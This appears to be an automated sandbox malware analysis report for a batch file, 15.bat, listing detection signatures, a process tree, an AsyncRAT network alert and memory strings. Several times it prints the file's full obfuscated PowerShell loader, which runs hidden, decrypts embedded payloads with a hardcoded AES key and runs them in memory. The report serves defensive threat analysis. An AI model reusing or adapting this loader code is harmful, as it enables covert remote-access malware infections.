Edit tour

Windows Analysis Report
15.bat

Overview

General Information

Sample name:	15.bat
Analysis ID:	1429038
MD5:	1bf971e48ba0ca904319be9147a96c33
SHA1:	75078fd8b6a000b848eb3f372e5f84fb58d5b98e
SHA256:	74742f3e892f02c91b2f2dd9e1547ffe42681bb755b0f28b2dd602afb46af39e
Tags:	bat
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Suspicious powershell command line found

Very long command line found

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6264 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\15.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6556 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\15.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6336 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\15.bat';$MMJz='GelYestClYesurlYesrenlYestlYesProlYesceslYesslYes'.Replace('lYes', ''),'ChFGxTanFGxTgFGxTeEFGxTxFGxTteFGxTnsFGxTiFGxToFGxTnFGxT'.Replace('FGxT', ''),'EleTQWBmeTQWBnTQWBtAtTQWB'.Replace('TQWB', ''),'CrAFGseAFGsaAFGstAFGseAFGsDecAFGsryAFGsptAFGsorAFGs'.Replace('AFGs', ''),'SRlYbpRlYblRlYbiRlYbtRlYb'.Replace('RlYb', ''),'DoaAnecooaAnmpoaAnresoaAnsoaAn'.Replace('oaAn', ''),'EnHILctrHILcyHILcPoHILcinHILctHILc'.Replace('HILc', ''),'CDYnropDYnryToDYnr'.Replace('DYnr', ''),'ReaOApIdLiOApInesOApI'.Replace('OApI', ''),'IndQRQvodQRQkedQRQ'.Replace('dQRQ', ''),'TratglInstglIfotglIrmtglIFitglInatglIlBltglIotglIctglIktglI'.Replace('tglI', ''),'MbkBwaibkBwnbkBwModbkBwulbkBwebkBw'.Replace('bkBw', ''),'FroXggooXggmBaoXggseoXgg64SoXggtroXggioXggngoXgg'.Replace('oXgg', ''),'Loajyrjdjyrj'.Replace('jyrj', '');powershell -w hidden;function FBejp($JKmLP){$UerdI=[System.Security.Cryptography.Aes]::Create();$UerdI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$UerdI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$UerdI.Key=[System.Convert]::($MMJz[12])('dVsAn8RIciGbSq5PEUSffnRQiEF7D6JhJ+MhQGAxpxA=');$UerdI.IV=[System.Convert]::($MMJz[12])('rrMf8DdSiOTkJYW5AhOOlg==');$ytGVg=$UerdI.($MMJz[3])();$FTQFX=$ytGVg.($MMJz[10])($JKmLP,0,$JKmLP.Length);$ytGVg.Dispose();$UerdI.Dispose();$FTQFX;}function mpyCC($JKmLP){$FjjxJ=New-Object System.IO.MemoryStream(,$JKmLP);$sySFb=New-Object System.IO.MemoryStream;$Rdfpf=New-Object System.IO.Compression.GZipStream($FjjxJ,[IO.Compression.CompressionMode]::($MMJz[5]));$Rdfpf.($MMJz[7])($sySFb);$Rdfpf.Dispose();$FjjxJ.Dispose();$sySFb.Dispose();$sySFb.ToArray();}$BklLD=[System.IO.File]::($MMJz[8])([Console]::Title);$oNBKh=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 5).Substring(2))));$HuDRY=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 6).Substring(2))));[System.Reflection.Assembly]::($MMJz[13])([byte[]]$HuDRY).($MMJz[6]).($MMJz[9])($null,$null);[System.Reflection.Assembly]::($MMJz[13])([byte[]]$oNBKh).($MMJz[6]).($MMJz[9])($null,$null); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 5868 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6456 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Sigma Signatures

System Summary

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\15.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6556, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5868, ProcessName: powershell.exe

Snort Signatures

ETPRO TROJAN Observed Malicious SSL Cert (AsyncRAT) - Source IP: 193.222.96.128 - Destination IP: 192.168.2.4

Timestamp:	04/20/24-10:06:05.477978
SID:	2850454
Source Port:	4449
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Source:	Binary string: \??\C:\Windows\Microsoft.Powershell.PSReadline.pdb2]xU source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdbY source: powershell.exe, 00000006.00000002.1716592666.000001BB7EA32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadLine.PDB source: powershell.exe, 00000006.00000002.1717866725.000001BB7EB64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000006.00000002.1717866725.000001BB7EB64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Powershell.PSReadline.pdbpdbine.pdb source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000006.00000002.1716838402.000001BB7EA6D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1717479831.000001BB7EAD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb. source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.Powershell.PSReadline.pdb: source: powershell.exe, 00000006.00000002.1717866725.000001BB7EB64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000006.00000002.1717945607.000001BB7EB79000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1716592666.000001BB7EA32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1717721868.000001BB7EB42000.00000004.00000020.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2850454 ETPRO TROJAN Observed Malicious SSL Cert (AsyncRAT) 193.222.96.128:4449 -> 192.168.2.4:49730

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 193.222.96.128:4449

Source: Joe Sandbox View

ASN Name: SWISSCOMSwisscomSwitzerlandLtdCH SWISSCOMSwisscomSwitzerlandLtdCH

Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128
Source: unknown	TCP traffic detected without corresponding DNS query: 193.222.96.128

Source: powershell.exe, 00000006.00000002.1698215372.000001BB663C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000006.00000002.1713621454.000001BB76AB4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1713621454.000001BB7697E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1698349267.000001BB66CD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1698349267.000001BB668F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1698349267.000001BB67F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000006.00000002.1698349267.000001BB668F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.1698349267.000001BB67832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.1713621454.000001BB76AB4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1713621454.000001BB7697E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1698349267.000001BB6850E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.1698349267.000001BB67F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000006.00000002.1698349267.000001BB67F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

System Summary

Very long command line found

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2177
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2177			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B8A6E30	6_2_00007FFD9B8A6E30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B8AF8D8	6_2_00007FFD9B8AF8D8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B8AF50D	6_2_00007FFD9B8AF50D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B8BDCA0	6_2_00007FFD9B8BDCA0

Source: classification engine

Classification label: mal68.evad.winBAT@11/10@0/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\MyData

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\nkvohxapain
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6244:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_owwgvgmx.sep.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\15.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\15.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\15.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\15.bat';$MMJz='GelYestClYesurlYesrenlYestlYesProlYesceslYesslYes'.Replace('lYes', ''),'ChFGxTanFGxTgFGxTeEFGxTxFGxTteFGxTnsFGxTiFGxToFGxTnFGxT'.Replace('FGxT', ''),'EleTQWBmeTQWBnTQWBtAtTQWB'.Replace('TQWB', ''),'CrAFGseAFGsaAFGstAFGseAFGsDecAFGsryAFGsptAFGsorAFGs'.Replace('AFGs', ''),'SRlYbpRlYblRlYbiRlYbtRlYb'.Replace('RlYb', ''),'DoaAnecooaAnmpoaAnresoaAnsoaAn'.Replace('oaAn', ''),'EnHILctrHILcyHILcPoHILcinHILctHILc'.Replace('HILc', ''),'CDYnropDYnryToDYnr'.Replace('DYnr', ''),'ReaOApIdLiOApInesOApI'.Replace('OApI', ''),'IndQRQvodQRQkedQRQ'.Replace('dQRQ', ''),'TratglInstglIfotglIrmtglIFitglInatglIlBltglIotglIctglIktglI'.Replace('tglI', ''),'MbkBwaibkBwnbkBwModbkBwulbkBwebkBw'.Replace('bkBw', ''),'FroXggooXggmBaoXggseoXgg64SoXggtroXggioXggngoXgg'.Replace('oXgg', ''),'Loajyrjdjyrj'.Replace('jyrj', '');powershell -w hidden;function FBejp($JKmLP){$UerdI=[System.Security.Cryptography.Aes]::Create();$UerdI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$UerdI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$UerdI.Key=[System.Convert]::($MMJz[12])('dVsAn8RIciGbSq5PEUSffnRQiEF7D6JhJ+MhQGAxpxA=');$UerdI.IV=[System.Convert]::($MMJz[12])('rrMf8DdSiOTkJYW5AhOOlg==');$ytGVg=$UerdI.($MMJz[3])();$FTQFX=$ytGVg.($MMJz[10])($JKmLP,0,$JKmLP.Length);$ytGVg.Dispose();$UerdI.Dispose();$FTQFX;}function mpyCC($JKmLP){$FjjxJ=New-Object System.IO.MemoryStream(,$JKmLP);$sySFb=New-Object System.IO.MemoryStream;$Rdfpf=New-Object System.IO.Compression.GZipStream($FjjxJ,[IO.Compression.CompressionMode]::($MMJz[5]));$Rdfpf.($MMJz[7])($sySFb);$Rdfpf.Dispose();$FjjxJ.Dispose();$sySFb.Dispose();$sySFb.ToArray();}$BklLD=[System.IO.File]::($MMJz[8])([Console]::Title);$oNBKh=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 5).Substring(2))));$HuDRY=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 6).Substring(2))));[System.Reflection.Assembly]::($MMJz[13])([byte[]]$HuDRY).($MMJz[6]).($MMJz[9])($null,$null);[System.Reflection.Assembly]::($MMJz[13])([byte[]]$oNBKh).($MMJz[6]).($MMJz[9])($null,$null); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\15.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\15.bat';$MMJz='GelYestClYesurlYesrenlYestlYesProlYesceslYesslYes'.Replace('lYes', ''),'ChFGxTanFGxTgFGxTeEFGxTxFGxTteFGxTnsFGxTiFGxToFGxTnFGxT'.Replace('FGxT', ''),'EleTQWBmeTQWBnTQWBtAtTQWB'.Replace('TQWB', ''),'CrAFGseAFGsaAFGstAFGseAFGsDecAFGsryAFGsptAFGsorAFGs'.Replace('AFGs', ''),'SRlYbpRlYblRlYbiRlYbtRlYb'.Replace('RlYb', ''),'DoaAnecooaAnmpoaAnresoaAnsoaAn'.Replace('oaAn', ''),'EnHILctrHILcyHILcPoHILcinHILctHILc'.Replace('HILc', ''),'CDYnropDYnryToDYnr'.Replace('DYnr', ''),'ReaOApIdLiOApInesOApI'.Replace('OApI', ''),'IndQRQvodQRQkedQRQ'.Replace('dQRQ', ''),'TratglInstglIfotglIrmtglIFitglInatglIlBltglIotglIctglIktglI'.Replace('tglI', ''),'MbkBwaibkBwnbkBwModbkBwulbkBwebkBw'.Replace('bkBw', ''),'FroXggooXggmBaoXggseoXgg64SoXggtroXggioXggngoXgg'.Replace('oXgg', ''),'Loajyrjdjyrj'.Replace('jyrj', '');powershell -w hidden;function FBejp($JKmLP){$UerdI=[System.Security.Cryptography.Aes]::Create();$UerdI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$UerdI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$UerdI.Key=[System.Convert]::($MMJz[12])('dVsAn8RIciGbSq5PEUSffnRQiEF7D6JhJ+MhQGAxpxA=');$UerdI.IV=[System.Convert]::($MMJz[12])('rrMf8DdSiOTkJYW5AhOOlg==');$ytGVg=$UerdI.($MMJz[3])();$FTQFX=$ytGVg.($MMJz[10])($JKmLP,0,$JKmLP.Length);$ytGVg.Dispose();$UerdI.Dispose();$FTQFX;}function mpyCC($JKmLP){$FjjxJ=New-Object System.IO.MemoryStream(,$JKmLP);$sySFb=New-Object System.IO.MemoryStream;$Rdfpf=New-Object System.IO.Compression.GZipStream($FjjxJ,[IO.Compression.CompressionMode]::($MMJz[5]));$Rdfpf.($MMJz[7])($sySFb);$Rdfpf.Dispose();$FjjxJ.Dispose();$sySFb.Dispose();$sySFb.ToArray();}$BklLD=[System.IO.File]::($MMJz[8])([Console]::Title);$oNBKh=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 5).Substring(2))));$HuDRY=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 6).Substring(2))));[System.Reflection.Assembly]::($MMJz[13])([byte[]]$HuDRY).($MMJz[6]).($MMJz[9])($null,$null);[System.Reflection.Assembly]::($MMJz[13])([byte[]]$oNBKh).($MMJz[6]).($MMJz[9])($null,$null); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
